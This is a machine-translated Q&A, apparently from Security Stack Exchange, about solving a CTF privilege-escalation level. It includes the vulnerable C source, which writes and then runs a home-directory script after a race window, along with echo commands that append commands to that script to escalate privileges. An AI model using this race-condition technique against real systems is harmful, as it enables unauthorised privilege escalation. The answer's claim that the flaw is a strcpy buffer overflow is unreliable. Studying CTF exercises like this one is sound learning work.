使用CTF时,我试图获得对第3级的访问权限(您必须按顺序从第1级访问到第2级,等等),在第2级目录中有这个源代码2.c,以及一个名为"2“的可执行文件。如果您查看代码,您可以看到一个漏洞,当我在后台运行脚本2时,我能够快速修改(在5s窗口内)主目录中的script.sh文件,给出我希望它运行的任何命令。到目前为止,我以类似的方式运行这些命令--回显-e "#!/bin/bash\ncat /var/挑战性/level3/devel\n“>> script.sh
使用这些类型的命令,我甚至能够复制它的所有内容并将其移动到我的主目录,但是无论我做什么,我都无法访问第3级目录。我做错了什么?我试着做那个文件的chmod和chown,但是它仍然说不允许。
#include <fcntl.h>
#include <limits.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main(int argc, char * argv[]) {
char buf[1024], path[PATH_MAX + 1];
int fd, i;
strcpy(path, getpwuid(getuid()) -> pw_dir); //determine user's home directory
strcat(path, "/script.sh");
strcpy(buf, "#!/bin/bash\necho Hello.\ndate\nrm \"$0\"\n");
umask(0); //set file mode creation
if ((fd = open(path, O_CREAT | O_EXCL | O_WRONLY, 02760)) < 0) { // 276 = --w-rwxrw-
perror("open");
return 1;
}
write(fd, buf, strlen(buf));
close(fd);
printf("please wait for us to run your script");
fflush(stdout);
for (i = 0; i < 5; i++) {
printf(".");
fflush(stdout);
sleep(1);
}
printf(" starting script\n");
execl("/bin/sh", "/bin/sh", path, (char * ) 0);
perror("execl");
return 0;
}发布于 2023-01-24 13:27:38
我找到了答案。
这段代码中的漏洞似乎是使用了strcpy()和strcat()函数,它们容易受到缓冲区溢出攻击。此外,该代码正在用户的主目录中创建一个文件,文件名为script.sh,具有完全权限,如果该文件包含恶意命令,这可能会带来安全风险。
最后,我可以执行命令并提升我的特权。
在后台运行文件./2 &时,使用另一个shell修改script.sh文件
在修改后的脚本中运行l33t
echo -e "#!/bin/bash\nl33t" >> script.shhttps://security.stackexchange.com/questions/267919
复制相似问题